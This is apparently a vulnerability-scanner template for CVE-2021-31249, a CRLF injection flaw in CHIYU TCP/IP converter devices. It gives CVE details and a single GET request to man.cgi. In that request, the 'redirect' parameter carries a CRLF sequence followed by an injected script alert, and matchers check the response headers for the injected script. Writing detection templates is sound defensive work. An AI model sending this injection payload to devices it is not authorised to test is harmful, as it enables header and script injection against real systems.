33 lines
1.1 KiB
YAML
33 lines
1.1 KiB
YAML
id: CVE-2021-31249
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info:
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name: CHIYU TCP/IP Converter devices - CRLF injection
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author: geeknik
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severity: medium
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description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter 'redirect' available on multiple
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CGI components.
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reference:
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- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-31249
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tags: cve,cve2021,chiyu,crlf,iot
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 302
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- type: word
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part: header
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words:
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- "Location: setting.htm"
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- "<script>alert(document.domain)</script>"
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condition: and
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